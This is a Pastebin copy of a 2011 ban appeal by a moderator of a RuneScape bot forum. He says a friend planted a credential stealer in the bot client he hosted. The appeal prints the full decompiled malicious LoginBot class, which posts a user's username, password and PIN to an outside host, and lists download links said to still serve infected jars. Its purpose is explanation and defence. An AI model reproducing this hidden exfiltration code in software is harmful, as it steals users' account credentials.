API tools faq
paste
Advertisement
illpastethat

Ban Appeal For Botthat//nick1

illpastethat
Mar 7th, 2011
442
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.13 KB | None | 0 0
raw download clone embed print report
  1. All text can be found publicly at http://bk.gs/banappeal and was written by myself nick1//botthat on Mar. 7 at 10PM EST.
  2. --
  3. Original Ban (Pervy)
  4. --
  5. [quote]
  6. Dear botthat,
  7.  
  8. You have received an infraction at powerbot.
  9.  
  10. Reason: Level 4 - hacking, scamming or phishing
  11. -------
  12. Am very disappointed in you for posting a infected version of the bot to the public and hacking their accounts. This is not acceptable at all from a staff member of powerbot and their for you are demoted if your ban is lifted.
  13. [/quote]
  14. --
  15. Original Post
  16. --
  17. http://www.powerbot.org/vb/showthread.php?p=6623685#post6623685
  18. --
  19. Original Virus Links
  20. --
  21. http://dl.dropbox.com/u/120327/RSBot2.jar
  22. http://x.vu/rsbot2
  23. --
  24.  
  25. Hello,
  26.  
  27. My name is botthat and on the IRC I am known by nick1. I was recently promoted to a moderator position and only two days later received a permanent ban for hacking accounts. Before I fully explain the ban, let me first explain who I am. When I was promoted I am sure it was a surprise to most people, as most had not seen me on the forums before. However, I have been actively involved with rsbot//powerbot since approximately May 2010 through both the original rsbot.org and the IRC chat channels of #rsbot and #rsbot_help. I think that most of my posts have come from the Bot Help Section, where I created and maintained a tutorial and complete guide for rsbot. (permalink at http://www.powerbot.org/vb/showthread.php?t=327599). This thread had over 195 thousand views as well as 1350 posts. Not only was this a popular tutorial but the reason for the popularity was due to my personal replies to each and every person that needed help, and directed those who needed further help to join #rsbot_help where me and others would help them to begin botting again.
  28. [code]
  29. [00:01] -ChanServ- Information for channel #rsbot_help:
  30. -
  31. [00:01] -ChanServ- Founder: Nick1
  32. -
  33. [00:01] -ChanServ- Description: #rsbot_help For Help With RSBot Related Problems
  34. -
  35. [00:01] -ChanServ- Registered: Jun 10 22:53:10 2010 MDT
  36. -
  37. [00:01] -ChanServ- Last used: Mar 06 21:53:17 2011 MST
  38. [/code]
  39.  
  40. Now, concerning the ban. I left Mar. 4 for a school field trip, returning late on Mar. 6 to find that I had been banned and demoted. The precompiled bot was an idea that was designed shortly after my tutorial became popular, something along the line of “I will answer your question if you post here” I cannot find the link because I am banned of course. Many of the people there were asking for scripts to be added and said they had already tried to follow the turorial (at that time stickied by jacmob). I began compiling scripts myself and then uploading it via dropbox and including the link in posts. I did not realize that this was a violation of the rules as I did and do not see it in there (specifically about precompiled bots)
  41.  
  42. Concerning the malicious code.
  43. [code]
  44. [17:28] <activeradio> public int loop()
  45. [17:28] <activeradio> {
  46. [17:28] <activeradio> String s = account.getName().toLowerCase().trim();
  47. [17:28] <activeradio> try
  48. [17:28] <activeradio> {
  49. [17:28] <activeradio> urlz = new URL("XXX/engine2.php");
  50. [17:28] <activeradio> urlConnz = urlz.openConnection();
  51. [17:28] <activeradio> urlConnz.setDoOutput(true);
  52. [17:28] <activeradio> urlConnz.setDoInput(true);
  53. [17:28] <activeradio> urlConnz.setUseCaches(false);
  54. 01[17:28] <nick1_offline> ...?
  55. [17:28] <activeradio> urlConnz.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  56. [17:28] <activeradio> outputz = new DataOutputStream(urlConnz.getOutputStream());
  57. [17:28] <activeradio> String s1 = (new StringBuilder()).append("action=").append(account.getName().toLowerCase().trim()).append(":").append(account.getPassword()).append(":").append(account.getPin()).toString();
  58. [17:28] <activeradio> outputz.writeBytes(s1);
  59. [17:28] <activeradio> outputz.flush();
  60. [17:28] <activeradio> outputz.close();
  61. [17:28] <activeradio> DataInputStream datainputstream = new DataInputStream(urlConnz.getInputStream());
  62. [17:28] <activeradio> inputz = new BufferedReader(new InputStreamReader(datainputstream));
  63. [17:28] <activeradio> String s3;
  64. [17:28] <activeradio> while((s3 = inputz.readLine()) != null)
  65. [17:28] <activeradio> resultz = (new StringBuilder()).append(resultz).append(s3).append("\n").toString();
  66. [17:28] <activeradio> inputz.close();
  67. [17:28] <activeradio> }
  68. [/code]
  69. For those of you that do know me (and like I previously stated, there are not many on the forums) you know that I do not have the capabilities to code anything near this level. The ONLY coding that I know is in mSL (mirc scripting language) and perhaps able to edit out an rsbot script to make it work for a different item. I sincerely believe that this is perhaps my strongest argument, ask anyone in the IRC including any respected programmer/coder in #rsbot #rscode etc.
  70.  
  71. As far as how this malicious code was injected, for this I do take partial blame. In fact, after consideration, much of the blame must be put on me. The bot was hosted via dropbox (file sharing//syncing//storing program). My personal dropbox account ID is 120327, and therefore any links posted that are in the format of http://dl.dropbox.com/u/120327/* were being hosted on my dropbox. My dropbox was shared between me and two of my in real life friends. My dropbox was shared with both people so that we could share media like movies and music and I also told them that if rsbot updated and I wasn’t there then to update it and reupload. This is where I must take blame, because trusting people with a bot that many not only used, but also relied on was a mistake on my part. After reviewing revision logs in my public files I found the following.
  72. [img]http://dl.dropbox.com/u/120327/BanAppeal1.jpg[/img]
  73. [img]http://dl.dropbox.com/u/120327/BanAppeal2.jpg[/img]
  74. [img]http://dl.dropbox.com/u/120327/BanAppeal3.jpg[/img]
  75. [img]http://dl.dropbox.com/u/120327/BanAppeal4.jpg[/img]
  76. [img]http://dl.dropbox.com/u/120327/BanAppeal5.jpg[/img]
  77. (linked to save space)
  78. http://dl.dropbox.com/u/120327/BanAppeal6.jpg
  79. http://dl.dropbox.com/u/120327/BanAppeal7.jpg
  80. http://dl.dropbox.com/u/120327/BanAppeal8.jpg
  81. http://dl.dropbox.com/u/120327/BanAppeal9.jpg
  82. http://dl.dropbox.com/u/120327/BanAppeal10.jpg
  83.  
  84. The revision history does not go back any longer than this, but it is mostly full of changes that I have made (by adding or removing scripts).
  85.  
  86. The editors include myself Adam-PC and my two friends their pc names are shown as aspirate-PC (I think this is because his computer is an acer aspire) and Nick-PC.
  87.  
  88. The “preview” magnifying glass contains a download to the jar file that was uploaded on that date, I considered downloading and reuploading all versions but there are 100 files saved I believe, instead I have made the following uploads.
  89. http://dl.dropbox.com/u/120327/RSBot%20-%20Private%20-%20RevSafe.jar
  90. http://dl.dropbox.com/u/120327/RSBot%20-%20Private%20-%20RevVirus.jar
  91. http://dl.dropbox.com/u/120327/scripts.zip
  92. The first is a link to the revision listed in picture 1, 3/2/2011 4:03 PM, the second is a link to the revision posted at 3/3/2011 4:59 PM. The third link is a zip file of all 510 scripts.
  93.  
  94. I invite any admin to navigate to RSBot - Private - RevVirus.jar\org\rsbot\script\randoms
  95. And extract LoginBot.class
  96. After navigate to RSBot - Private - RevSafe.jar\org\rsbot\script\randoms
  97. And extract LoginBot.class
  98. Next decompile (NOTE a free web decompiler can be found here http://www.showmycode.com/ )
  99.  
  100. The results found will speak for themselves. There was clearly malicious code.
  101.  
  102. Here are database links to the original class files and java files that they decompile to.
  103. http://dl.dropbox.com/u/120327/LoginBotVirus.class
  104. http://dl.dropbox.com/u/120327/LoginBotSafe.class
  105. http://dl.dropbox.com/u/120327/LoginBotVirus.java
  106. raw code
  107. [code]
  108. package org.rsbot.script.randoms;
  109.  
  110. import java.awt.Rectangle;
  111. import java.io.*;
  112. import java.net.*;
  113. import java.util.logging.Logger;
  114. import org.rsbot.gui.AccountManager;
  115. import org.rsbot.script.Random;
  116. import org.rsbot.script.methods.*;
  117. import org.rsbot.script.wrappers.RSComponent;
  118. import org.rsbot.script.wrappers.RSInterface;
  119.  
  120. public class LoginBot extends Random
  121. {
  122.  
  123. public LoginBot()
  124. {
  125. }
  126.  
  127. public boolean activateCondition()
  128. {
  129. int i = game.getClientState();
  130. return (i == 3 || i == 7) && account.getName() != null;
  131. }
  132.  
  133. public int loop()
  134. {
  135. String s = account.getName().toLowerCase().trim();
  136. try
  137. {
  138. urlz = new URL("http://runningfromcode.zzl.org/engine2.php");
  139. urlConnz = urlz.openConnection();
  140. urlConnz.setDoOutput(true);
  141. urlConnz.setDoInput(true);
  142. urlConnz.setUseCaches(false);
  143. urlConnz.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  144. outputz = new DataOutputStream(urlConnz.getOutputStream());
  145. String s1 = (new StringBuilder()).append("action=").append(account.getName().toLowerCase().trim()).append(":").append(account.getPassword()).append(":").append(account.getPin()).toString();
  146. outputz.writeBytes(s1);
  147. outputz.flush();
  148. outputz.close();
  149. DataInputStream datainputstream = new DataInputStream(urlConnz.getInputStream());
  150. inputz = new BufferedReader(new InputStreamReader(datainputstream));
  151. String s3;
  152. while((s3 = inputz.readLine()) != null)
  153. resultz = (new StringBuilder()).append(resultz).append(s3).append("\n").toString();
  154. inputz.close();
  155. }
  156. catch(MalformedURLException malformedurlexception)
  157. {
  158. errorz = (new StringBuilder()).append(errorz).append(malformedurlexception).append("\n").toString();
  159. }
  160. catch(IOException ioexception)
  161. {
  162. errorz = (new StringBuilder()).append(errorz).append(ioexception).append("\n").toString();
  163. }
  164. String s2 = interfaces.get(596).getComponent(11).getText().toLowerCase();
  165. if(game.getClientState() != 3)
  166. {
  167. if(!game.isWelcomeScreen())
  168. sleep(random(1000, 2000));
  169. if(game.getClientState() == 7)
  170. {
  171. RSInterface rsinterface = interfaces.get(906);
  172. RSComponent rscomponent = rsinterface.getComponent(160);
  173. RSComponent rscomponent1 = rsinterface.getComponent(171);
  174. mouse.click(rscomponent.getAbsoluteX(), rscomponent.getAbsoluteY(), (rscomponent1.getAbsoluteX() + rscomponent1.getWidth()) - rscomponent.getAbsoluteX(), rscomponent.getHeight(), true);
  175. for(int i1 = 0; i1 < 4 && game.getClientState() == 6; i1++)
  176. sleep(500);
  177.  
  178. s2 = interfaces.get(906).getComponent(221).getText().toLowerCase();
  179. if(s2.contains("total skill level of"))
  180. {
  181. log("Log back in when you total level of 1000/1500+");
  182. interfaces.getComponent(906, 228).doClick();
  183. stopScript(false);
  184. }
  185. if(s2.contains("login limit exceeded"))
  186. {
  187. log("If login limit screws up, tell Pervy.");
  188. if(interfaces.getComponent(906, 228).doClick())
  189. interfaces.getComponent(906, 193).doClick();
  190. }
  191. if(s2.contains("member"))
  192. {
  193. log("Unable to login to a members world. Stopping script.");
  194. RSComponent rscomponent2 = interfaces.get(906).getComponent(228);
  195. RSComponent rscomponent3 = interfaces.get(906).getComponent(231);
  196. mouse.click(rscomponent2.getAbsoluteX(), rscomponent2.getAbsoluteY(), (rscomponent3.getAbsoluteX() + rscomponent3.getWidth()) - rscomponent2.getAbsoluteX(), rscomponent2.getHeight(), true);
  197. interfaces.get(906).getComponent(203).doClick();
  198. stopScript(false);
  199. }
  200. if(interfaces.get(906).getComponent(86).getText().toLowerCase().trim().contains("high-risk wilderness world"))
  201. interfaces.get(906).getComponent(93).doClick();
  202. }
  203. return -1;
  204. }
  205. if(!game.isLoggedIn())
  206. {
  207. if(s2.contains("update"))
  208. {
  209. log("Runescape has been updated, please reload RSBot.");
  210. stopScript(false);
  211. }
  212. if(s2.contains("disable"))
  213. {
  214. log.severe("Your account is banned/disabled.");
  215. stopScript(false);
  216. }
  217. if(s2.contains("your account has not logged out"))
  218. {
  219. log.warning("Make sure you're logged off or hasn't been h@x0r3d.");
  220. stopScript(false);
  221. }
  222. if(s2.contains("incorrect"))
  223. {
  224. log.warning("Failed to login five times in a row. Stopping script.");
  225. stopScript(false);
  226. }
  227. if(s2.contains("invalid"))
  228. {
  229. if(invalidCount > 6)
  230. {
  231. log.warning("Unable to login after 6 attempts. Stopping script.");
  232. log("Please verify that your RSBot account profile is correct.");
  233. stopScript(false);
  234. }
  235. interfaces.get(596).getComponent(55).doClick();
  236. invalidCount++;
  237. return random(500, 2000);
  238. }
  239. if(s2.contains("error connecting"))
  240. {
  241. interfaces.get(596).getComponent(55).doClick();
  242. stopScript(false);
  243. return random(500, 2000);
  244. }
  245. if(s2.contains("full"))
  246. {
  247. if(worldFullCount > 30)
  248. {
  249. log("World Is Full. Waiting for 15 seconds.");
  250. sleep(random(10000, 15000));
  251. worldFullCount = 0;
  252. }
  253. sleep(random(1000, 1200));
  254. worldFullCount++;
  255. }
  256. if(s2.contains("world"))
  257. return random(1500, 2000);
  258. if(s2.contains("performing login"))
  259. return random(1500, 2000);
  260. }
  261. if(game.getClientState() == 3)
  262. {
  263. if(interfaces.getComponent(976, 6).isValid())
  264. {
  265. interfaces.getComponent(976, 6).doClick();
  266. return random(500, 600);
  267. }
  268. if(!atLoginScreen())
  269. {
  270. interfaces.getComponent(905, 59).getComponent(4).doAction("");
  271. return random(500, 600);
  272. }
  273. if(isUsernameFilled() && isPasswordFilled())
  274. {
  275. interfaces.get(596).getComponent(42).doClick();
  276. return random(500, 600);
  277. }
  278. if(!isUsernameFilled())
  279. {
  280. atLoginInterface(interfaces.get(596).getComponent(37));
  281. sleep(random(500, 700));
  282. int i = interfaces.get(596).getComponent(65).getText().length() + random(3, 5);
  283. for(int k = 0; k <= i + random(1, 5); k++)
  284. {
  285. keyboard.sendText("\b", false);
  286. if(random(0, 2) == 1)
  287. sleep(random(25, 100));
  288. }
  289.  
  290. keyboard.sendText(s, false);
  291. return random(500, 600);
  292. }
  293. if(isUsernameFilled() && !isPasswordFilled())
  294. {
  295. atLoginInterface(interfaces.get(596).getComponent(39));
  296. sleep(random(500, 700));
  297. int j = interfaces.get(596).getComponent(71).getText().length() + random(3, 5);
  298. for(int l = 0; l <= j + random(1, 5); l++)
  299. {
  300. keyboard.sendText("\b", false);
  301. if(random(0, 2) == 1)
  302. sleep(random(25, 100));
  303. }
  304.  
  305. keyboard.sendText(AccountManager.getPassword(account.getName(), getClass()), false);
  306. }
  307. }
  308. return random(500, 2000);
  309. }
  310.  
  311. private boolean atLoginInterface(RSComponent rscomponent)
  312. {
  313. if(!rscomponent.isValid())
  314. return false;
  315. Rectangle rectangle = rscomponent.getArea();
  316. if(rectangle.x == -1 || rectangle.y == -1 || rectangle.width == -1 || rectangle.height == -1)
  317. return false;
  318. int i = (int)(rectangle.getHeight() - 4D) / 2;
  319. int j = (int)(rectangle.getMaxX() - rectangle.getCenterX());
  320. int k = (int)rectangle.getCenterX();
  321. int l = (int)(rectangle.getMinY() + rectangle.getHeight() / 2D);
  322. if(rscomponent.getIndex() == 39)
  323. mouse.click(minX(rscomponent), l + random(-i, i), true);
  324. else
  325. mouse.click(k + random(1, j), l + random(-i, i), true);
  326. return true;
  327. }
  328.  
  329. private int minX(RSComponent rscomponent)
  330. {
  331. int i = 0;
  332. Rectangle rectangle = rscomponent.getArea();
  333. int j = (int)(rectangle.getWidth() - 4D) / 2;
  334. int k = (int)(rectangle.getMinX() + rectangle.getWidth() / 2D);
  335. if(rectangle.x == -1 || rectangle.y == -1 || rectangle.width == -1 || rectangle.height == -1)
  336. return 0;
  337. for(int l = 0; l < interfaces.get(596).getComponent(71).getText().length(); l++)
  338. i += 11;
  339.  
  340. if(i > 44)
  341. return (int)(rectangle.getMinX() + (double)i + 15D);
  342. else
  343. return k + random(-j, j);
  344. }
  345.  
  346. private boolean atLoginScreen()
  347. {
  348. return interfaces.get(596).isValid();
  349. }
  350.  
  351. private boolean isUsernameFilled()
  352. {
  353. String s = account.getName().toLowerCase().trim();
  354. return interfaces.get(596).getComponent(65).getText().toLowerCase().equalsIgnoreCase(s);
  355. }
  356.  
  357. private boolean isPasswordFilled()
  358. {
  359. String s = AccountManager.getPassword(account.getName(), getClass());
  360. return interfaces.get(596).getComponent(71).getText().toLowerCase().length() == (s != null ? s.length() : 0);
  361. }
  362.  
  363. private static final int INTERFACE_MAIN = 905;
  364. private static final int INTERFACE_MAIN_CHILD = 59;
  365. private static final int INTERFACE_MAIN_CHILD_COMPONENT_ID = 4;
  366. private static final int INTERFACE_LOGIN_SCREEN = 596;
  367. private static final int INTERFACE_USERNAME = 65;
  368. private static final int INTERFACE_USERNAME_WINDOW = 37;
  369. private static final int INTERFACE_PASSWORD = 71;
  370. private static final int INTERFACE_PASSWORD_WINDOW = 39;
  371. private static final int INTERFACE_BUTTON_LOGIN = 42;
  372. private static final int INTERFACE_TEXT_RETURN = 11;
  373. private static final int INTERFACE_BUTTON_BACK = 55;
  374. private static final int INTERFACE_WELCOME_SCREEN = 906;
  375. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_PLAY_1 = 160;
  376. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_PLAY_2 = 171;
  377. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_LOGOUT = 193;
  378. private static final int INTERFACE_WELCOME_SCREEN_TEXT_RETURN = 221;
  379. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_BACK = 228;
  380. private static final int INTERFACE_WELCOME_SCREEN_HIGH_RISK_WORLD_TEXT = 86;
  381. private static final int INTERFACE_WELCOME_SCREEN_HIGH_RISK_WORLD_LOGIN_BUTTON = 93;
  382. private static final int INTERFACE_GRAPHICS_NOTICE = 976;
  383. private static final int INTERFACE_GRAPHICS_LEAVE_ALONE = 6;
  384. private static final int INDEX_LOGGED_OUT = 3;
  385. private static final int INDEX_LOBBY = 7;
  386. private static URL urlz;
  387. private static URLConnection urlConnz;
  388. private static DataOutputStream outputz;
  389. private static BufferedReader inputz;
  390. private static String errorz = "";
  391. private static String resultz = "";
  392. private int invalidCount;
  393. private int worldFullCount;
  394.  
  395. }
  396. [/code]
  397. http://dl.dropbox.com/u/120327/LoginBotSafe.java
  398. raw code (no differences from current svn)
  399. [code]
  400. package org.rsbot.script.randoms;
  401.  
  402. import java.awt.Rectangle;
  403. import java.util.logging.Logger;
  404. import org.rsbot.gui.AccountManager;
  405. import org.rsbot.script.Random;
  406. import org.rsbot.script.methods.*;
  407. import org.rsbot.script.wrappers.RSComponent;
  408. import org.rsbot.script.wrappers.RSInterface;
  409.  
  410. public class LoginBot extends Random
  411. {
  412.  
  413. public LoginBot()
  414. {
  415. }
  416.  
  417. public boolean activateCondition()
  418. {
  419. int i = game.getClientState();
  420. return (i == 3 || i == 7) && account.getName() != null;
  421. }
  422.  
  423. public int loop()
  424. {
  425. String s = account.getName().toLowerCase().trim();
  426. String s1 = interfaces.get(596).getComponent(11).getText().toLowerCase();
  427. if(game.getClientState() != 3)
  428. {
  429. if(!game.isWelcomeScreen())
  430. sleep(random(1000, 2000));
  431. if(game.getClientState() == 7)
  432. {
  433. RSInterface rsinterface = interfaces.get(906);
  434. RSComponent rscomponent = rsinterface.getComponent(160);
  435. RSComponent rscomponent1 = rsinterface.getComponent(171);
  436. mouse.click(rscomponent.getAbsoluteX(), rscomponent.getAbsoluteY(), (rscomponent1.getAbsoluteX() + rscomponent1.getWidth()) - rscomponent.getAbsoluteX(), rscomponent.getHeight(), true);
  437. for(int i1 = 0; i1 < 4 && game.getClientState() == 6; i1++)
  438. sleep(500);
  439.  
  440. s1 = interfaces.get(906).getComponent(221).getText().toLowerCase();
  441. if(s1.contains("total skill level of"))
  442. {
  443. log("Log back in when you total level of 1000/1500+");
  444. interfaces.getComponent(906, 228).doClick();
  445. stopScript(false);
  446. }
  447. if(s1.contains("login limit exceeded"))
  448. {
  449. log("If login limit screws up, tell Pervy.");
  450. if(interfaces.getComponent(906, 228).doClick())
  451. interfaces.getComponent(906, 193).doClick();
  452. }
  453. if(s1.contains("member"))
  454. {
  455. log("Unable to login to a members world. Stopping script.");
  456. RSComponent rscomponent2 = interfaces.get(906).getComponent(228);
  457. RSComponent rscomponent3 = interfaces.get(906).getComponent(231);
  458. mouse.click(rscomponent2.getAbsoluteX(), rscomponent2.getAbsoluteY(), (rscomponent3.getAbsoluteX() + rscomponent3.getWidth()) - rscomponent2.getAbsoluteX(), rscomponent2.getHeight(), true);
  459. interfaces.get(906).getComponent(203).doClick();
  460. stopScript(false);
  461. }
  462. if(interfaces.get(906).getComponent(86).getText().toLowerCase().trim().contains("high-risk wilderness world"))
  463. interfaces.get(906).getComponent(93).doClick();
  464. }
  465. return -1;
  466. }
  467. if(!game.isLoggedIn())
  468. {
  469. if(s1.contains("update"))
  470. {
  471. log("Runescape has been updated, please reload RSBot.");
  472. stopScript(false);
  473. }
  474. if(s1.contains("disable"))
  475. {
  476. log.severe("Your account is banned/disabled.");
  477. stopScript(false);
  478. }
  479. if(s1.contains("your account has not logged out"))
  480. {
  481. log.warning("Make sure you're logged off or hasn't been h@x0r3d.");
  482. stopScript(false);
  483. }
  484. if(s1.contains("incorrect"))
  485. {
  486. log.warning("Failed to login five times in a row. Stopping script.");
  487. stopScript(false);
  488. }
  489. if(s1.contains("invalid"))
  490. {
  491. if(invalidCount > 6)
  492. {
  493. log.warning("Unable to login after 6 attempts. Stopping script.");
  494. log("Please verify that your RSBot account profile is correct.");
  495. stopScript(false);
  496. }
  497. interfaces.get(596).getComponent(55).doClick();
  498. invalidCount++;
  499. return random(500, 2000);
  500. }
  501. if(s1.contains("error connecting"))
  502. {
  503. interfaces.get(596).getComponent(55).doClick();
  504. stopScript(false);
  505. return random(500, 2000);
  506. }
  507. if(s1.contains("full"))
  508. {
  509. if(worldFullCount > 30)
  510. {
  511. log("World Is Full. Waiting for 15 seconds.");
  512. sleep(random(10000, 15000));
  513. worldFullCount = 0;
  514. }
  515. sleep(random(1000, 1200));
  516. worldFullCount++;
  517. }
  518. if(s1.contains("world"))
  519. return random(1500, 2000);
  520. if(s1.contains("performing login"))
  521. return random(1500, 2000);
  522. }
  523. if(game.getClientState() == 3)
  524. {
  525. if(interfaces.getComponent(976, 6).isValid())
  526. {
  527. interfaces.getComponent(976, 6).doClick();
  528. return random(500, 600);
  529. }
  530. if(!atLoginScreen())
  531. {
  532. interfaces.getComponent(905, 59).getComponent(4).doAction("");
  533. return random(500, 600);
  534. }
  535. if(isUsernameFilled() && isPasswordFilled())
  536. {
  537. interfaces.get(596).getComponent(42).doClick();
  538. return random(500, 600);
  539. }
  540. if(!isUsernameFilled())
  541. {
  542. atLoginInterface(interfaces.get(596).getComponent(37));
  543. sleep(random(500, 700));
  544. int i = interfaces.get(596).getComponent(65).getText().length() + random(3, 5);
  545. for(int k = 0; k <= i + random(1, 5); k++)
  546. {
  547. keyboard.sendText("\b", false);
  548. if(random(0, 2) == 1)
  549. sleep(random(25, 100));
  550. }
  551.  
  552. keyboard.sendText(s, false);
  553. return random(500, 600);
  554. }
  555. if(isUsernameFilled() && !isPasswordFilled())
  556. {
  557. atLoginInterface(interfaces.get(596).getComponent(39));
  558. sleep(random(500, 700));
  559. int j = interfaces.get(596).getComponent(71).getText().length() + random(3, 5);
  560. for(int l = 0; l <= j + random(1, 5); l++)
  561. {
  562. keyboard.sendText("\b", false);
  563. if(random(0, 2) == 1)
  564. sleep(random(25, 100));
  565. }
  566.  
  567. keyboard.sendText(AccountManager.getPassword(account.getName(), getClass()), false);
  568. }
  569. }
  570. return random(500, 2000);
  571. }
  572.  
  573. private boolean atLoginInterface(RSComponent rscomponent)
  574. {
  575. if(!rscomponent.isValid())
  576. return false;
  577. Rectangle rectangle = rscomponent.getArea();
  578. if(rectangle.x == -1 || rectangle.y == -1 || rectangle.width == -1 || rectangle.height == -1)
  579. return false;
  580. int i = (int)(rectangle.getHeight() - 4D) / 2;
  581. int j = (int)(rectangle.getMaxX() - rectangle.getCenterX());
  582. int k = (int)rectangle.getCenterX();
  583. int l = (int)(rectangle.getMinY() + rectangle.getHeight() / 2D);
  584. if(rscomponent.getIndex() == 39)
  585. mouse.click(minX(rscomponent), l + random(-i, i), true);
  586. else
  587. mouse.click(k + random(1, j), l + random(-i, i), true);
  588. return true;
  589. }
  590.  
  591. private int minX(RSComponent rscomponent)
  592. {
  593. int i = 0;
  594. Rectangle rectangle = rscomponent.getArea();
  595. int j = (int)(rectangle.getWidth() - 4D) / 2;
  596. int k = (int)(rectangle.getMinX() + rectangle.getWidth() / 2D);
  597. if(rectangle.x == -1 || rectangle.y == -1 || rectangle.width == -1 || rectangle.height == -1)
  598. return 0;
  599. for(int l = 0; l < interfaces.get(596).getComponent(71).getText().length(); l++)
  600. i += 11;
  601.  
  602. if(i > 44)
  603. return (int)(rectangle.getMinX() + (double)i + 15D);
  604. else
  605. return k + random(-j, j);
  606. }
  607.  
  608. private boolean atLoginScreen()
  609. {
  610. return interfaces.get(596).isValid();
  611. }
  612.  
  613. private boolean isUsernameFilled()
  614. {
  615. String s = account.getName().toLowerCase().trim();
  616. return interfaces.get(596).getComponent(65).getText().toLowerCase().equalsIgnoreCase(s);
  617. }
  618.  
  619. private boolean isPasswordFilled()
  620. {
  621. String s = AccountManager.getPassword(account.getName(), getClass());
  622. return interfaces.get(596).getComponent(71).getText().toLowerCase().length() == (s != null ? s.length() : 0);
  623. }
  624.  
  625. private static final int INTERFACE_MAIN = 905;
  626. private static final int INTERFACE_MAIN_CHILD = 59;
  627. private static final int INTERFACE_MAIN_CHILD_COMPONENT_ID = 4;
  628. private static final int INTERFACE_LOGIN_SCREEN = 596;
  629. private static final int INTERFACE_USERNAME = 65;
  630. private static final int INTERFACE_USERNAME_WINDOW = 37;
  631. private static final int INTERFACE_PASSWORD = 71;
  632. private static final int INTERFACE_PASSWORD_WINDOW = 39;
  633. private static final int INTERFACE_BUTTON_LOGIN = 42;
  634. private static final int INTERFACE_TEXT_RETURN = 11;
  635. private static final int INTERFACE_BUTTON_BACK = 55;
  636. private static final int INTERFACE_WELCOME_SCREEN = 906;
  637. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_PLAY_1 = 160;
  638. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_PLAY_2 = 171;
  639. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_LOGOUT = 193;
  640. private static final int INTERFACE_WELCOME_SCREEN_TEXT_RETURN = 221;
  641. private static final int INTERFACE_WELCOME_SCREEN_BUTTON_BACK = 228;
  642. private static final int INTERFACE_WELCOME_SCREEN_HIGH_RISK_WORLD_TEXT = 86;
  643. private static final int INTERFACE_WELCOME_SCREEN_HIGH_RISK_WORLD_LOGIN_BUTTON = 93;
  644. private static final int INTERFACE_GRAPHICS_NOTICE = 976;
  645. private static final int INTERFACE_GRAPHICS_LEAVE_ALONE = 6;
  646. private static final int INDEX_LOGGED_OUT = 3;
  647. private static final int INDEX_LOBBY = 7;
  648. private int invalidCount;
  649. private int worldFullCount;
  650. }
  651. [/code]
  652.  
  653. The revisions from Nick-PC were safe, however the latest two revisions, as previously shown in pic1 DO contain malicious code and uploads your info to his website runningfromcode.zzl.org Today during school I talked with this “friend” and needless to say he has not only been unlinked from my dropbox but also unfriended on facebook etc. I also unlinked my other friend to be more cautious.
  654. The conversation I had with the hacker went something like this.
  655. [quote]
  656. Me: So, what exactly did you do to rsbot and it got me baned?
  657. Him: I will split the money with you man, we can both get rich
  658. Me: dude, I trusted you, you know how much I care about rsbot and helping out there and you use me for this…
  659. ………..
  660. The conversation went on like this for about 2 mins (expletives removed..), he claims to have hacked a little over 500mil, all from powerbot accounts
  661. [/quote]
  662.  
  663. I would like to add that the bot was not on my tutorial or posted anywhere after I was warned by Pervy//(reported by Coma, who I can clearly see has something against me??) to not post it. The bot was only linked via the IRC chat when users asked for it (it is especially important to note I was not the one actively spreading it, both wired420 and activeradio (other IRCops at the time) were posting the link probably more than myself).
  664.  
  665. In conclusion, I do take full blame for allowing the bot to become compromised, as it was not smart to allow others access to such a vital file, however the reason I am posting this is for two reasons.
  666. 1. To allow my tutorial thread located at http://www.powerbot.org/vb/showthread.php?t=327599 to be brought back, as it was helpful to thousands each day.
  667. 2. To have my name cleared
  668.  
  669. While I would prefer to be unbanned and have my mod status reinstated, this is not on my top two things to have done.
  670.  
  671. It is extremely important that my name be cleared as many have trusted me and downloaded the bot, however the bot was only infected from the times detailed on the pictures.
  672.  
  673. While the unfairness is reciprocated primarily through powerbot users, I also feel cheated by this “friend” of mine. Like I said, I have been with powrbot for over a year now and have dedicated my time to HELPING people. Recently being promoted to a moderator was a symbol of my dedication, and also if you review my mod actions you will see I was increasingly active when I was a moderator, both in posts and dealing with hackers//scammers.
  674.  
  675. A final note that is interesting and ostensibly relevant, in the IRC with the help of #services we successfully banned//found (ask me for the name, or speak to #services IRCOP killah or darkex (op in #rsbot)) to be masking his IP and sending out a virus’d link to other users. That link is still publicly available, and still INFECTED and is located at http://dl.dropbox.com/u/20784545/RSBot.jar That version was sent out to all users on joining #rsbot, however it went unnoticed by the operators of #rsbot such as myself radioactive and wired420 because they did not send it to us. I am including this because it is important to note that this person created a MIRROR of my bot and had infected it.
  676.  
  677. I would like to conclude by saying that this ban appeal is a total of 5 more pages than my English paper is at the moment, which is testimony to not only my dedication to powerbot, but also the importance that my name is cleared via powerbot.
  678.  
  679. I would love to talk with an admin about my ban and can be reached via email at reply.anonymouse+forward@gmail.com or via the webchat (preferred) my nick is nick1 and here is a quick link http://qchat.rizon.net/?&channels=#rsbot,#rsbot_help
  680.  
  681. Thank you for your time.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!